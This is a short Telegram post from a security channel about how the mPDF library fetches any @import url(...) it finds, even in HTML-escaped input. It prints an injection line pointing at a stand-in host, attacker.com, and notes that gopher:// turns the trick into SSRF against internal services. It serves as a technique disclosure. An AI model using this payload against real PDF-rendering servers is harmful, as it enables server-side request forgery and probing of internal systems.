TGViewer
SHADOW:Group SHADOW:Group @shadow_group_tg · 11.5K subscribers
Post #1095 7.34K
У mPDF есть интересная особенность, которая может вам когда-нибудь пригодиться. Если передать движку строку с @import url(...), он делает внешний запрос, даже если HTML полностью экранирован htmlentities() и даже без <style>.

Причина проста: mPDF ищет URL-ы через регулярки по всему входу. Поэтому достаточно вставить:

@import url(https://attacker.com/test?.css)

и сервер сразу пойдёт по указанному адресу. Плюс можно использовать и нестандартные протоколы вроде gopher://, превращая это в SSRF с возможностью дергать внутренние сервисы.

Вендор же официально заявил, что это не баг, а фича, и устранять поведение не собирается - по их мнению, движок должен загружать указанные URL, а ответственность за реализацию лежит на разработчиках.

#web #ssrf #pdf
  • 🔥 23
  • 👍 12
  • 😁 5
More from @shadow_group_tg
  1. Aug 25, 2026Разбор как нашлась CVE-2026-18963: Keycloak reset-credentials flow ATO https://www.pruva.d…
  2. Aug 24, 2026Объявлены результаты конкурса Pentest Awards 2026! И мы постепенно будем публиковать интер…
  3. Aug 22, 2026Постов не будет, админ ушел сниматься в рилсах…
  4. Aug 17, 2026В этом году Pentest Award прошел в атмосфере роскоши, с шикарным видом на набережную и гор…
  5. Jul 13, 2026ТБанк вместо одной кнопки "Бабло", прислал сразу три. Осталось переписать скрипт, чтобы ср…
  6. Jul 13, 2026Post #1102
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →